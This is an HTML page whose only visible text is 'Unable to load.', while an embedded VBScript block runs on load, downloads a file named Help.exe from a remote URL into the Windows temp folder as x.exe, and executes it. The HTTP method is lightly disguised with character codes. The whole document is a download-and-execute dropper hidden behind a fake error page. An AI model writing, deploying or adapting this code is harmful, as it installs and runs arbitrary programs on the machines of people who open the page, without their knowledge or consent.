<html> <body> <script type="text/vbscript"> Function SimpleBinaryToString(Binary) Dim I, S For I = 1 To LenB(Binary) S = S & Chr(AscB(MidB(Binary, I, 1))) Next SimpleBinaryToString = S End Function Sub dl(url, dst) dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") dim method: method = Chr(71) & Chr(69) & Chr(84) xmlhttp.Open method, url, False xmlhttp.Send Dim i, objFile Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True ) objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody)) objFile.Close() set xmlhttp = nothing set objFile = nothing End Sub dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe" dim url url = "http:/www/Help.exe" dl url, dst CreateObject("WScript.Shell").Run dst </script> <p>Unable to load.</p> </body> </html>